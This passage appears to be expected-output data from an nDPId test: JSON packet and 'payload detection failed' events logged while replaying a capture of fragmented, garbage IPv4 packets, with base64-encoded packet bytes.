+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170839,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170918,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170945,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170996,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171135,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 